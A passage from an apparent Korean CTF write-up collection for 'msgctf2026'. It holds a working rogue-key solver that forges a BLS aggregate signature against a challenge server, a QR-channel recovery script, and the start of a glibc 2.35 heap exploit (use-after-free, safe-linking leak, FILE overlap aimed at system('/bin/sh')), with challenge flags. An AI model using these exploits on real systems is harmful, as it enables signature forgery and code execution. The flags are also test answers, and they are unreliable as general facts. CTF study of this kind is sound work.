        for member, tag in zip(members, tags, strict=True)
    ]
    first_key = aggregate(members, first_weights)
    first_key_bytes = encode_g1(first_key)
    key_tag = H(
        KEY_TAG_DOMAIN,
        session_id,
        context,
        bytes((roster_tag,)),
        first_key_bytes,
```

```
    )[-1] & 0x1F

    weights = [
        checker_scalar(
            H(
                WEIGHT_DOMAIN,
                context,
                member.slot_bytes,
                tag.to_bytes(2, "big"),
                bytes((roster_tag, key_tag)),
            )
        )
        for member, tag in zip(members, tags, strict=True)
    ]
    verification_key = aggregate(members, weights)
    final_weights = [
        (first + G1_ENDOMORPHISM_LAMBDA * second) % curve_order
        for first, second in zip(first_weights, weights, strict=True)
    ]
    final_key = add(
        first_key,
        multiply(verification_key, G1_ENDOMORPHISM_LAMBDA),
    )
    final_roster_hash = H(
        ROSTER_DOMAIN,
        session_id,
        context,
        b"₩x05",
        b"".join(records),
    )
    return Roster(
        records=records,
        buckets=buckets,
        tags=tags,
        roster_tag=roster_tag,
        first_weights=first_weights,
        first_key=first_key,
        key_tag=key_tag,
        weights=weights,
        verification_key=verification_key,
        final_weights=final_weights,
        final_key=final_key,
        final_roster_hash=final_roster_hash,
    )


def _fixed_point_chunk(payload: tuple[Any, ...]) -> tuple[int, bytes] | None:
    (
        session_id,
        context,
        honest,
        attacker_slot,
        attacker_flags,
        assumed_bucket,
        assumed_roster_tag,
        assumed_key_tag,
        start_y,
        stop_y,
    ) = payload

    honest_tags: list[int] = []
    honest_records: list[bytes] = []
    for member in honest:
        bucket = int.from_bytes(
            H(BUCKET_DOMAIN, context, member.slot_bytes, member.public_key)[-2:],
            "big",
        ) & 0x3FFF
        tag = bucket | (member.flags << 14)
        honest_tags.append(tag)
        honest_records.append(
            bytes((member.position,))
            + member.slot_bytes
            + bytes((member.flags,))
            + tag.to_bytes(2, "big")
            + member.public_key
        )

    attacker_tag = assumed_bucket | (attacker_flags << 14)

    def first_weight(member: RawMember, tag: int) -> int:
        return checker_scalar(
            H(
                ROSTER_WEIGHT_DOMAIN,
                context,
                member.slot_bytes,
                tag.to_bytes(2, "big"),
                bytes((assumed_roster_tag,)),
            )
        )

    def second_weight(member: RawMember, tag: int) -> int:
        return checker_scalar(
            H(
                WEIGHT_DOMAIN,
                context,
                member.slot_bytes,
                tag.to_bytes(2, "big"),
                bytes((assumed_roster_tag, assumed_key_tag)),
            )
```

```
            )

        first_honest = [
            first_weight(member, tag)
            for member, tag in zip(honest, honest_tags, strict=True)
        ]
        second_honest = [
            second_weight(member, tag)
            for member, tag in zip(honest, honest_tags, strict=True)
        ]
        final_honest = [
            (first + G1_ENDOMORPHISM_LAMBDA * second) % curve_order
            for first, second in zip(first_honest, second_honest, strict=True)
        ]
        honest_final_key = aggregate(honest, final_honest)
        honest_first_key = aggregate(honest, first_honest)

        attacker_stub = RawMember(
            4, attacker_slot, attacker_flags, G1_COMPRESSED
        )
        first_attacker = first_weight(attacker_stub, attacker_tag)
        second_attacker = second_weight(attacker_stub, attacker_tag)
        final_attacker = (
            first_attacker
            + G1_ENDOMORPHISM_LAMBDA * second_attacker
        ) % curve_order
        inverse_final_attacker = pow(final_attacker, -1, curve_order)
        base = multiply(
            honest_final_key, (-inverse_final_attacker) % curve_order
        )
        point = add(base, multiply(G1, start_y))

        attacker_slot_bytes = attacker_slot.to_bytes(4, "big")
        for y in range(start_y, stop_y):
            public_key = encode_g1(point)
            bucket = int.from_bytes(
                H(BUCKET_DOMAIN, context, attacker_slot_bytes, public_key)[-2:],
                "big",
            ) & 0x3FFF
            if bucket == assumed_bucket:
                attacker_record = (
                    b"₩x04"
                    + attacker_slot_bytes
                    + bytes((attacker_flags,))
                    + attacker_tag.to_bytes(2, "big")
                    + public_key
                )
                roster_tag = H(
                    ROSTER_TAG_DOMAIN,
                    session_id,
                    context,
                    b"₩x05",
                    b"".join(honest_records),
                    attacker_record,
                )[-1] & 3
                if roster_tag == assumed_roster_tag:
                    first_key = add(
                        honest_first_key, multiply(point, first_attacker)
                    )
                    key_tag = H(
                        KEY_TAG_DOMAIN,
                        session_id,
                        context,
                        bytes((assumed_roster_tag,)),
                        encode_g1(first_key),
                    )[-1] & 0x1F
                    if key_tag == assumed_key_tag:
                        return y, public_key
            point = add(point, G1)
        return None


    def find_rogue_key(
        session_id: bytes,
        context: bytes,
        honest: list[RawMember],
        attacker_slot: int,
        attacker_flags: int,
        *,
        limit: int = 8_000_000,
        chunk_size: int = 100_000,
    ) -> tuple[int, bytes]:
        # Any fixed guesses work; varying y supplies the 21 bits needed to satisfy
        # bucket (14), roster tag (2), and key tag (5) simultaneously.
        assumed_bucket = 0
        assumed_roster_tag = 0
        assumed_key_tag = 0
        common = (
            session_id,
            context,
            honest,
            attacker_slot,
            attacker_flags,
            assumed_bucket,
            assumed_roster_tag,
            assumed_key_tag,
        )
        tasks = [
            common + (start, min(start + chunk_size, limit + 1))
```

```
        for start in range(1, limit + 1, chunk_size)
    ]
    worker_count = min(4, multiprocessing.cpu_count())
    with multiprocessing.Pool(worker_count) as pool:
        for result in pool.imap_unordered(_fixed_point_chunk, tasks):
            if result is not None:
                pool.terminate()
                return result
    raise RuntimeError(
        f"no rogue-key fixed point found below y={limit}; open a new session"
    )


def final_message(
    session_id: bytes,
    context: bytes,
    roster_hash: bytes,
    motion_nonce: bytes,
    motion: bytes,
) -> bytes:
    return (
        FINAL_MESSAGE_DOMAIN
        + session_id
        + context
        + roster_hash
        + motion_nonce
        + len(motion).to_bytes(4, "big")
        + motion
    )


def iter_dicts(value: Any) -> Iterable[dict[str, Any]]:
    if isinstance(value, dict):
        yield value
        for child in value.values():
            yield from iter_dicts(child)
    elif isinstance(value, list):
        for child in value:
            yield from iter_dicts(child)


def find_value(value: Any, *names: str) -> Any:
    wanted = set(names)
    for item in iter_dicts(value):
        for key, child in item.items():
            if key in wanted:
                return child
    raise KeyError(f"none of these fields were present: {', '.join(names)}")


def find_value_across(values: Iterable[Any], *names: str) -> Any:
    for value in values:
        try:
            return find_value(value, *names)
        except KeyError:
            pass
    raise KeyError(f"none of these fields were present: {', '.join(names)}")


def parse_hex(value: Any, name: str) -> bytes:
    if not isinstance(value, str):
        raise TypeError(f"{name} is not a hex string")
    return bytes.fromhex(value)


def member_from_dict(item: dict[str, Any]) -> RawMember | None:
    aliases = {
        "position": ("position", "position_i", "member_position"),
        "slot": ("slot_id", "slot", "slot_id_u32"),
        "flags": ("flags", "member_flags"),
        "pk": (
            "public_key_g1_compressed_hex",
            "public_key_hex",
            "public_key",
            "pk_hex",
        ),
    }

    def local(names: tuple[str, ...]) -> Any:
        for name in names:
            if name in item:
                return item[name]
        raise KeyError

    try:
        position = int(local(aliases["position"]))
        slot_value = local(aliases["slot"])
        flags_value = local(aliases["flags"])
        slot = int(slot_value, 0) if isinstance(slot_value, str) else int(slot_value)
        flags = int(flags_value, 0) if isinstance(flags_value, str) else int(flags_value)
        pk_value = local(aliases["pk"])
        public_key = bytes.fromhex(pk_value) if isinstance(pk_value, str) else bytes(pk_value)
        return RawMember(position, slot, flags, public_key)
    except (KeyError, TypeError, ValueError):
        return None


def extract_members(values: Iterable[Any]) -> list[RawMember]:
    by_position: dict[int, RawMember] = {}
```

```
    for value in values:
        for item in iter_dicts(value):
            member = member_from_dict(item)
            if member is not None:
                by_position[member.position] = member
    return [by_position[i] for i in sorted(by_position)]


class Client:
    def __init__(self, base_url: str, dump: bool = False):
        self.base_url = base_url.rstrip("/")
        self.dump = dump
        self.http = requests.Session()

    def post(self, stage: str, body: dict[str, Any]) -> dict[str, Any]:
        response = self.http.post(
            self.base_url + f"/api/v1/{stage}",
            json=body,
            timeout=30,
        )
        response.raise_for_status()
        result = response.json()
        if self.dump:
            print(f"[{stage}] {json.dumps(result, indent=2, sort_keys=True)}")
        return result
def race_attest(
    client: Client, session_id: bytes, q_values: list[int]
) -> list[tuple[int, dict[str, Any]]]:
    """Issue distinct ATTEST requests concurrently and retain all successes."""

    start = threading.Event()

    def worker(q: int) -> tuple[int, dict[str, Any] | None]:
        start.wait()
        response = requests.post(
            client.base_url + "/api/v1/attest",
            json={"session_id_hex": session_id.hex(), "q_hex": scalar_bytes(q).hex()},
            timeout=30,
        )
        if response.status_code != 200:
            return q, None
        return q, response.json()

    results: list[tuple[int, dict[str, Any]]] = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=len(q_values)) as executor:
        futures = [executor.submit(worker, q) for q in q_values]
        start.set()
        for future in concurrent.futures.as_completed(futures):
            q, response = future.result()
            if response is not None:
                results.append((q, response))
                if client.dump:
                    print(f"[attest q={q:#x}] {json.dumps(response, sort_keys=True)}")
    return results


def verify_committee_receipt(
    receipt,
    coefficients: list[int],
    honest_members: list[RawMember],
    h0,
) -> None:
    d_key = Z1
    for coefficient, member in zip(coefficients, honest_members, strict=True):
        d_key = add(d_key, multiply(decode_g1(member.public_key), coefficient))
    if pairing(h0, d_key) != pairing(receipt, G1):
        raise ValueError("binding receipt is not a committee signature over H_0")


def solve_remote(args: argparse.Namespace) -> None:
    client = Client(args.url, args.dump)
    transcript: list[Any] = []

    opened = client.post("open", {})
    transcript.append(opened)
    session_id = parse_hex(
        find_value(opened, "session_id_hex", "session_id"), "session_id"
    )
    context = parse_hex(
        find_value(opened, "pre_registration_context_hex", "context_hex"),
        "context",
    )

    honest_open = extract_members([opened])
    if len(honest_open) != 4:
        raise RuntimeError("OPEN did not contain the four honest members")
    attacker_slot_data = find_value(opened, "attacker_slot")
    attacker_slot = (
        args.attacker_slot
        if args.attacker_slot is not None
        else int(attacker_slot_data["slot_id"])
    )
    attacker_flags = (
        args.attacker_flags
        if args.attacker_flags is not None
        else int(attacker_slot_data["flags"])
    )
    print("[+] searching for the rogue-key fixed point", flush=True)
    attacker_y, attacker_key = find_rogue_key(
```

```
    session_id,
    context,
    honest_open,
    attacker_slot,
    attacker_flags,
)
print(f"[+] fixed point found: y={attacker_y}", flush=True)
salt = bytes.fromhex(args.salt) if args.salt else secrets.token_bytes(32)
commitment = H(COMMIT_DOMAIN, session_id, attacker_key, salt)
committed = client.post(
    "commit",
    {
        "session_id_hex": session_id.hex(),
        "commitment_hex": commitment.hex(),
    },
)
transcript.append(committed)
motion_nonce = parse_hex(
    find_value(committed, "motion_nonce_hex", "motion_nonce"), "motion_nonce"
)
motion = parse_hex(find_value(committed, "motion_hex", "motion"), "motion")

revealed = client.post(
    "reveal",
    {
        "session_id_hex": session_id.hex(),
        "public_key_g1_compressed_hex": attacker_key.hex(),
        "salt_hex": salt.hex(),
    },
)
transcript.append(revealed)
coefficient_hex = find_value(revealed, "committee_coefficients_hex")
coefficients = [int(x, 16) for x in coefficient_hex]
if len(coefficients) != 4:
    raise ValueError("expected four committee coefficients")

members = extract_members(transcript)
if len(members) == 4:
    slot_id = (
        args.attacker_slot
        if args.attacker_slot is not None
        else int(attacker_slot_data["slot_id"])
    )
    flags = (
        args.attacker_flags
        if args.attacker_flags is not None
        else int(attacker_slot_data["flags"])
    )
    members.append(
        RawMember(
            int(
                attacker_slot_data.get(
                    "position", args.attacker_position
                )
            ),
            slot_id,
            flags,
            attacker_key,
        )
    )
    members.sort(key=lambda member: member.position)
if len(members) != 5:
    raise RuntimeError(
        "could not extract all five raw members from the responses; "
        "rerun with --dump and supply --attacker-slot if only the four "
        "honest members are returned"
    )

roster = derive_roster(session_id, context, members)
if (roster.buckets[4], roster.roster_tag, roster.key_tag) != (0, 0, 0):
    raise ValueError("rogue-key fixed point did not reproduce its tags")
honest_final_key = aggregate(members[:4], roster.final_weights[:4])
attacker_point = decode_g1(attacker_key)
attacker_weight = roster.final_weights[4]
if not eq(
    add(honest_final_key, multiply(attacker_point, attacker_weight)),
    multiply(G1, (attacker_weight * attacker_y) % curve_order),
):
    raise ValueError("rogue key did not cancel the honest final key")
message = final_message(
    session_id,
    context,
    roster.final_roster_hash,
    motion_nonce,
    motion,
)
h0 = hash_to_G2(message, BASIC_NUL_DST, hashlib.sha256)

preferred_q = choose_receipt_query(coefficients)
attested = client.post(
    "attest",
    {
        "session_id_hex": session_id.hex(),
        "q_hex": scalar_bytes(preferred_q).hex(),
    },
)
receipt_hex = find_value(
    attested, "receipt_signature_g2_compressed_hex"
)
```

```
    receipts = [decode_g2(bytes.fromhex(encoded)) for encoded in receipt_hex]
    committee_signature = combine_receipts(
        receipts, preferred_q, coefficients
    )
    verify_committee_receipt(
        committee_signature, coefficients, members[:4], h0
    )

    binding = decode_g2(
        parse_hex(
            find_value(attested, "binding_receipt_g2_compressed_hex"),
            "binding receipt",
        )
    )
    if pairing(committee_signature, honest_final_key) != pairing(binding, G1):
        raise ValueError("binding receipt was not K_h times the committee signature")

    inverse_attacker_weight = pow(attacker_weight, -1, curve_order)
    aggregate_signature = add(
        multiply(
            h0, (attacker_weight * attacker_y) % curve_order
        ),
        multiply(committee_signature, (-attacker_y) % curve_order),
    )
    aggregate_signature = add(
        aggregate_signature,
        multiply(binding, inverse_attacker_weight),
    )
    if pairing(h0, roster.final_key) != (
        pairing(aggregate_signature, G1)
        * pairing(committee_signature, attacker_point)
    ):
        raise ValueError("locally forged aggregate signature did not verify")

    sealed = client.post(
        "seal",
        {
            "session_id_hex": session_id.hex(),
            "aggregate_signature_g2_compressed_hex": encode_g2(
                aggregate_signature
            ).hex(),
            "committee_signature_g2_compressed_hex": encode_g2(
                committee_signature
            ).hex(),
        },
    )
    print(json.dumps(sealed, indent=2, sort_keys=True))


def self_test(checker: Path) -> None:
    session_id = bytes(32)
    context = bytes(32)
    members = [RawMember(i, i + 1, 0, G1_COMPRESSED) for i in range(5)]
    roster = derive_roster(session_id, context, members)
    expected_first_key = (
        "8b51728470928546a2433b6edce228a9273b8a464f77dfbfa55e4bb765b543"
        "037ebf32c37f6818b2881639229f0e7d90"
    )
    expected_key = (
        "b3c63ac1012d8c5e9dfbcba7c8867a2bebcf535685f1151d5d4f92e9a885e"
        "78b7506ed58404a018b465366045b0e769d"
    )
    assert encode_g1(roster.first_key).hex() == expected_first_key
    assert encode_g1(roster.verification_key).hex() == expected_key
    assert roster.roster_tag == 1
    assert roster.key_tag == 4

    # Independently verify the final pairing algebra with known private keys.
    secret_keys = [2, 3, 5, 7, 1]
    simulation_members = [
        RawMember(i, i + 11, 0, encode_g1(multiply(G1, secret_key)))
        for i, secret_key in enumerate(secret_keys)
    ]
    simulation = derive_roster(session_id, context, simulation_members)
    message = final_message(session_id, context, simulation.final_roster_hash, bytes(32), b"test")
    h0 = hash_to_G2(message, BASIC_NUL_DST, hashlib.sha256)
    committee_secret = sum(
        weight * secret_key
        for weight, secret_key in zip(simulation.weights[:4], secret_keys[:4], strict=True)
    ) % curve_order
    receipt = multiply(h0, committee_secret)
    verify_committee_receipt(
        receipt, simulation.weights[:4], simulation_members[:4], h0
    )
    aggregate_signature = multiply(h0, simulation.weights[4])
    full_signature = multiply(
        h0,
        sum(
            weight * secret_key
            for weight, secret_key in zip(simulation.weights, secret_keys, strict=True)
        )
        % curve_order,
    )
    assert eq(full_signature, add(aggregate_signature, receipt))

    h1 = hash_to_G2(
        b"MSGCTF/ROSTER-SEAL/V1/COMMITTEE-AUX" + message,
        BASIC_NUL_DST,
        hashlib.sha256,
```

```
    )
    samples: list[tuple[int, int, Any]] = []
    for q in (2, 3):
        for receipt_index in range(7):
            row = receipt_row(q, receipt_index)
            point = multiply(h0, 0)
            for i, secret_key in enumerate(secret_keys[:4]):
                point = add(point, multiply(h0, row[i] * secret_key))
                point = add(point, multiply(h1, row[i + 4] * secret_key))
            samples.append((q, receipt_index, point))
    target = [11, 13, 17, 19]
    recovered = combine_general_receipts(samples, target + [0, 0, 0, 0])
    expected = multiply(
        h0,
        sum(
            coefficient * secret_key
            for coefficient, secret_key in zip(target, secret_keys[:4], strict=True)
        ),
    )
    assert eq(recovered, expected)

    if checker.exists():
        raw_input = session_id + context + b"".join(member.raw() for member in members)
        output = subprocess.check_output(
            [str(checker), raw_input.hex()], text=True
        ).strip()
        assert output == "d0d9fb327fa41e77cc8f5a355a5985e231c949065453bed6da23183905734af4"
    print("self-test passed")


def main() -> None:
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers(dest="command", required=True)

    test_parser = subparsers.add_parser("self-test")
    test_parser.add_argument(
        "--checker",
        type=Path,
        default=Path(__file__).with_name("nerves-check"),
    )

    solve_parser = subparsers.add_parser("solve")
    solve_parser.add_argument("url", help="challenge origin, e.g. https://host:port")
    solve_parser.add_argument("--dump", action="store_true", help="print every JSON response")
    solve_parser.add_argument("--salt", help="fixed 32-byte salt in hex")
    solve_parser.add_argument("--attacker-position", type=int, default=4)
    solve_parser.add_argument("--attacker-slot", type=int)
    solve_parser.add_argument("--attacker-flags", type=int)

    args = parser.parse_args()
    if args.command == "self-test":
        self_test(args.checker.resolve())
    else:
        solve_remote(args)
if __name__ == "__main__":
    main()
```

재현 결과

위조 aggregate receipt가 pairing 검증을 통과해 플래그를 획득했다.
FLAG: msgctf2026{ptXpeuVtNRASYUz2FrWuP3pWv}

08. RE:QR

분야	Misc / Image
상태	완료

풀이 과정

1. 이미지 크기에서 QR 버전 결정

misc/1/signal.png는 570×570 픽셀이다. 한 모듈이 10×10 픽셀이므로 전체는 57×57 모듈이고, 바깥 quiet zone 4모듈씩을 제거하면 실제 QR 심벌은 49×49다. QR 크기 공식 21 + 4 × (version - 1)에 대입하면 version 8이다.

2. RGB 채널 분리와 format 정보

이미지를 R/G/B 채널로 분리해 보면 각 채널이 완전한 QR이 아니라 서로 다른 데이터 모듈 일부를 보존한다.
finder/timing/alignment/format/version 영역을 function module로 표시하고 format bit 후보를 해밍 거리로 검사했다. 가장 일관된 후보는 오류 정정 등급 H, mask pattern 1이다.

전송 규칙과 채널 배열을 대조한 결과 quiet zone 제거 후 좌표 (x, y)의 채널 선택식은 다음과 같다.

코드 블록 (text)

```
selector = (2 + 2*x + y) mod 3
channel order = RGB
```

OpenCV는 BGR 순서로 읽으므로 코드에서는 RGB 인덱스로 다시 매핑한다.

3. 일반 디코더 대신 codeword 직접 복구

합성 영상은 function/format 모듈 일부가 손상되어 ZXing 같은 일반 디코더가 바로 읽지 못했다. 따라서 QR 표준의 오른쪽 아래부터 두 열씩 오르내리는 zig-zag 순서로 data module만 읽었다. mask 1의 조건 row % 2 == 0을 각 데이터 비트에 XOR해 원래 codeword를 복구했다.

Version 8-H의 block 구성을 qrcode.base.rs_blocks(8, ERROR_CORRECT_H)로 얻어 interleave를 해제했다. 총 6개 Reed–Solomon block에 대해 오류 정정을 수행했으며 모든 block이 정상 디코딩됐다. 복구된 데이터는 byte mode이고 길이 필드 뒤 payload는 다음 상대 경로다.

코드 블록 (text)

```
/r/f3af4496856b0ee2b7ef6ae1
```

4. 재현 방법

익스플로잇 코드 항목의 RE_QR_analyze.py는 이미지 샘플링, function mask 구성, 채널 순열 탐색, QR codeword 추출, RS deinterleave와 payload 출력을 모두 포함한다.

코드 블록 (bash)

```
python3 -m pip install opencv-python-headless numpy qrcode reedsolo
cd /home/hyeon/ctf/msg
python3 RE_QR_analyze.py
```

여섯 RS block이 모두 검증된 상대 경로를 challenge instance에 붙여 접속하면 최종 플래그 msgctf2026{the_vm_was_only_a_honeypot_decoy}가 출력된다.

익스플로잇 코드 / 분석 코드 전체

전체 파일: RE_QR_analyze.py · 150 lines · SHA-256 9e5543ce51053a8639406120a25ceab7a9178e8be7759d7a29e5700c209a2ac5

```
import itertools
import re
import sys

import cv2
import numpy as np
import qrcode.base
import qrcode.constants as qc
import qrcode.util

sys.path.insert(0, "/tmp/msg_docx_env/lib/python3.10/site-packages")
import reedsolo

im = cv2.imread("misc/1/signal.png")
mods = (im.reshape(57, 10, 57, 10, 3)[:, 5, :, 5, :][4:53, 4:53, :] < 128).astype(np.uint8)
```

```
n = 49
fun = np.zeros((n, n), bool)


def finder(cx, cy):
    for dy in range(-4, 5):
        for dx in range(-4, 5):
            x, y = cx + dx, cy + dy
            if 0 <= x < n and 0 <= y < n:
                fun[y, x] = 1


finder(3, 3)
finder(n - 4, 3)
finder(3, n - 4)
fun[6, :] = 1
fun[:, 6] = 1
pos = qrcode.util.pattern_position(8)
for i, x in enumerate(pos):
    for j, y in enumerate(pos):
        if (i == 0 and j == 0) or (i == 0 and j == len(pos) - 1) or (i == len(pos) - 1 and j == 0):
            continue
        fun[y - 2 : y + 3, x - 2 : x + 3] = 1
for i in range(15):
    if i < 6:
        x, y = 8, i
    elif i < 8:
        x, y = 8, i + 1
    elif i == 8:
        x, y = 7, 8
    else:
        x, y = 14 - i, 8
    fun[y, x] = 1
    if i < 8:
        x, y = n - 1 - i, 8
    else:
        x, y = 8, n - 15 + i
    fun[y, x] = 1
fun[n - 8, 8] = 1
fun[0:6, n - 11 : n - 8] = 1
fun[n - 11 : n - 8, 0:6] = 1
Y, X = np.indices((n, n))
qrm = Y % 2 == 0
blocks = qrcode.base.rs_blocks(8, qc.ERROR_CORRECT_H)
rs = reedsolo.RSCodec(26, nsize=255)


def codewords(a):
    bits = []
    right, up = n - 1, True
    while right >= 1:
        if right == 6:
            right -= 1
        for v in range(n):
            y = n - 1 - v if up else v
            for x in (right, right - 1):
                if not fun[y, x]:
                    bits.append(int(a[y, x]) ^ int(qrm[y, x]))
        up = not up
        right -= 2
    return bytes(sum(bits[i + j] << (7 - j) for j in range(8)) for i in range(0, 1936, 8))


def test(a):
    cw = codewords(a)
    arr = [bytearray() for _ in blocks]
    idx = 0
    for i in range(max(b.data_count for b in blocks)):
        for j, b in enumerate(blocks):
            if i < b.data_count:
                arr[j].append(cw[idx])
                idx += 1
    for i in range(26):
        for j, b in enumerate(blocks):
            arr[j].append(cw[idx])
            idx += 1
    ok, data, errs = 0, b"", []
    for x in arr:
        try:
            dec, _, e = rs.decode(x)
            ok += 1
            data += bytes(dec)
            errs.append(len(e))
        except reedsolo.ReedSolomonError:
            errs.append(99)
    return ok, errs, data


corr = []
for line in open("misc/1/transmission.txt"):
    z = re.match(r"₩((₩d+),(₩d+)₩) -> ([RGB])", line)
    if z:
        corr.append((int(z[1]), int(z[2]), "BGR".index(z[3])))

best = []
for mask in [1]:
    a, b = 1 + (mask & 1), 1 + ((mask >> 1) & 1)
    for phase in range(3):
        shift = (phase + a * X + b * Y) % 3
```

```
        for order in itertools.permutations(range(3)):
            posmap = {ch: i for i, ch in enumerate(order)}
            for source in range(3):
                idx = np.choose((shift + source) % 3, order)
                base = np.choose(idx, [mods[:, :, 0], mods[:, :, 1], mods[:, :, 2]])
                variants = [("none", base)]
                for swap in [0, 1]:
                    z = base.copy()
                    for x, y, k in corr:
                        if swap:
                            x, y = y, x
                        z[y, x] = mods[y, x, k]
                    variants.append((f"direct{swap}", z))
                    z = base.copy()
                    for x, y, k in corr:
                        if swap:
                            x, y = y, x
                        z[y, x] = mods[y, x, order[(posmap[k] + source) % 3]]
                    variants.append((f"cycle{swap}", z))
                for mode, z in variants:
                    ok, errs, data = test(z)
                    best.append((ok, -sum(min(e, 20) for e in errs), mask, phase, order, source, mode, errs, data))

seen = set()
for item in sorted(best, reverse=True):
    if item[0] != 6:
        continue
    data = item[8]
    bits = "".join(f"{value:08b}" for value in data)
    mode = int(bits[:4], 2)
    count = int(bits[4:12], 2)
    payload = bytes(int(bits[12 + i * 8 : 20 + i * 8], 2) for i in range(count))
    if payload in seen:
        continue
    seen.add(payload)
    print(item[:8], mode, count, repr(payload))
```

재현 결과

RGB 채널을 재조합하고 Version 8-H의 6개 Reed–Solomon block을 복구해 /r/f3af4496856b0ee2b7ef6ae1 경로를 얻었다. 해당 경로의 최종 페이지에서 플래그를 획득했다.

FLAG: msgctf2026{the_vm_was_only_a_honeypot_decoy}

09. Ghost_File

분야	Pwn
상태	완료

풀이 과정

Ghost_File

- 분야: Pwn
- 환경: Ubuntu glibc 2.35
- 최종 익스플로잇: solve.py (./solve.py)
- 보호 기법: Full RELRO, Canary, NX, PIE, IBT, SHSTK

1. 요약

Ghost_File은 공유된 힙 객체의 소유권을 잘못 관리하여 Use-After-Free가 발생하는 메뉴형 힙 문제다.

Share는 원본 청크의 포인터를 다른 슬롯에 그대로 복사하지만, Delete는 원본 슬롯만 확인하고 청크를 해제한다. 따라서 공유 슬롯은 해제된 청크를 계속 가리키는 dangling pointer가 된다.

공격 흐름은 다음과 같다.

- UAF로 해제된 tcache 청크를 읽어 safe-linking 값을 유출한다.
- Open archive 내부의 두 번의 malloc(0x1d8)과 fopen()을 이용해 dangling pointer가 FILE 객체를 가리키게 한다.
- FILE->_chain에서 libc 주소를 유출한다.
- 허용된 두 번의 Edit로 FILE, fake wide data, fake wide vtable을 House of Apple 2 형태로 구성한다.
- Exit의 stdio flush를 통해 system(" /bin/sh")을 호출한다.

2. 프로그램 분석

프로그램은 최대 8개의 파일 객체를 관리한다. 각 슬롯은 다음과 같은 0x18바이트 구조체다.

코드 블록 (c)

```
struct slot {
    void *data;          // +0x00
    size_t size;         // +0x08
    uint32_t active;     // +0x10
    uint32_t owner;      // +0x14
};
```

PIE 기준 주요 전역 변수는 다음 위치에 있다.

코드 블록 (text)

```
+0x4060  archive_mode
+0x4064  edit_count
+0x4068  archive FILE *
+0x4080  slots[8]
```

메뉴는 다음과 같다.

코드 블록 (text)

```
1. Create
2. Edit
3. Delete
4. Print
5. Share
6. Open archive
7. Close archive
8. Exit
```

Create

0x80 <= size <= 0x1d8인 청크를 할당하고 정확히 size바이트를 입력받는다. 새 슬롯은 active=1, owner=1로 설정된다.

코드 블록 (c)

```
slot->data = malloc(size);
read_exact(0, slot->data, size);
slot->size = size;
slot->active = 1;
```

```
slot->owner = 1;
```

Share

원본 슬롯 구조체 전체를 빈 목적 슬롯에 복사한 다음, 목적 슬롯의 owner만 0으로 바꾼다.

코드 블록 (c)

```
slots[dst] = slots[src];
slots[dst].owner = 0;
```

두 슬롯은 같은 힙 포인터를 가지지만 공유 슬롯은 메모리의 소유자가 아닌 것으로 표시된다.

Delete

활성 슬롯을 삭제할 때 owner == 1인 경우에만 free()하고, 선택된 슬롯 구조체만 0으로 초기화한다.

코드 블록 (c)

```
if (slot->owner)
    free(slot->data);
memset(slot, 0, sizeof(*slot));
```

Edit

전체 실행 동안 최대 두 번만 사용할 수 있다. 한 번에 입력할 수 있는 길이는 최대 0x100이고, 슬롯의 기존 크기 안에서만 수정할 수 있다.

코드 블록 (text)

```
0 <= offset
1 <= length <= 0x100
offset + length <= slot->size
```

archive mode에서는 alias 검사가 생략되므로 활성 상태의 dangling 슬롯을 바로 수정할 수 있다.

Print

일반 모드에서는 슬롯 크기 전체를 출력하고, archive mode에서는 최대 0x80바이트만 출력한다.

코드 블록 (c)

```
length = archive_mode ? min(slot->size, 0x80) : slot->size;
write(1, slot->data, length);
```

Open archive

이 메뉴가 익스플로잇을 위해 의도적으로 만든 힙 정렬 장치다.

코드 블록 (c)

```
archive_mode = 1;
malloc(0x1d8);
malloc(0x1d8);
archive = fopen("/dev/null", "w");
```

glibc 2.35에서 fopen()이 만드는 locked_FILE도 malloc(0x1d8) 크기 클래스, 즉 실제 청크 크기 0x1e0을 사용한다.

3. 취약점: Share 후 Delete에서 발생하는 UAF

다음 순서로 같은 포인터를 가진 두 슬롯을 만들 수 있다.

코드 블록 (text)

```
Create(0)       slot[0] = {A, size, active=1, owner=1}
Share(0, 3)     slot[3] = {A, size, active=1, owner=0}
Delete(0)       free(A), slot[0]만 초기화
```

결과적으로 slot[3]은 해제된 청크 A를 계속 가리킨다.

코드 블록 (text)

```
slot[3].data = A    // dangling pointer
slot[3].active = 1
slot[3].owner = 0
```

Print(3)으로 해제된 청크를 읽고, 이후 같은 주소가 다른 객체로 재할당되면 Edit(3)으로 새 객체를 덮을 수 있다.

4. Safe-linking으로 힙 주소 복구

glibc 2.35의 tcache next 포인터에는 safe-linking이 적용된다.

코드 블록 (c)

```
encoded_next = next ^ (current >> 12);
```

크기 0x1d8인 A, B, C 청크를 연속으로 할당한다. 실제 청크 크기는 0x1e0이다. A와 B에 각각 dangling 공유 슬롯을 만든다.

코드 블록 (text)

```
Create A, B, C
Share A -> ghost_A
Share B -> ghost_B
```

A를 먼저 해제하면 tcache의 마지막 원소이므로 next == NULL이다.

코드 블록 (text)

```
A.fd = 0 ^ (A >> 12) = A >> 12
```

따라서 Print(ghost_A)의 첫 qword로 A가 위치한 4KB 페이지를 알 수 있다.

B를 이어서 해제하면 다음 값이 저장된다.

코드 블록 (text)

```
B.fd = A ^ (B >> 12)
```

A와 B는 0x1e0 간격이라는 사실을 알고 있다. A의 하위 12비트를 0x10 정렬 단위로 대입하여 다음 식을 만족하는 유일한 주소를 찾는다.

코드 블록 (python)

```
page = leaked_tail_key << 12

for low in range(0, 0x1000, 0x10):
    A = page | low
    B = A + 0x1e0
    if A ^ (B >> 12) == leaked_B_fd:
        target = A
```

이 방식은 첫 청크가 항상 heap_base+0x2a0에 있다는 고정 offset에 의존하지 않으며, A와 B 사이에 페이지 경계가 있어도 동작한다.

5. dangling 청크를 FILE 객체와 겹치기

A와 B를 해제한 뒤 C까지 해제하면 0x1e0 tcache의 LIFO 순서는 다음과 같다.

코드 블록 (text)

```
C -> B -> A -> NULL
```

이 상태에서 Open archive를 호출한다.

코드 블록 (text)

```
첫 번째 malloc(0x1d8)  -> C
두 번째 malloc(0x1d8)  -> B
fopen()의 FILE 할당    -> A
```

따라서 ghost_A가 가리키던 주소 A에는 이제 살아 있는 FILE 객체가 존재한다.

코드 블록 (text)

```
ghost_A.data == archive FILE
```

archive mode의 Print는 최대 0x80바이트만 출력하지만, libc leak에 필요한 _chain은 FILE+0x68에 있으므로 충분하다. 새로 연결된 stream의 _chain은 _IO_2_1_stderr_를 가리킨다.

코드 블록 (python)

```
stderr_leak = u64(file_prefix[0x68:0x70])
